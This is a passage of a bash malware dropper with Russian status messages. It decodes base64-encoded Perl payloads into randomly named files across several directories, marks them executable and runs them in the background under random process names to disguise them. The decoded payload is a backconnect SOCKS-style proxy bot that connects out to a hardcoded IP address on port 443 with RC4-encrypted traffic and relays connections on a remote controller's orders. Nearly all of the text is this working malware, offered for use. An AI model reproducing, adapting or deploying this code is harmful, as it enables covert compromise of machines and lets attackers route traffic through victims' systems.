PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #36 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #36 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 37 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNTgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ 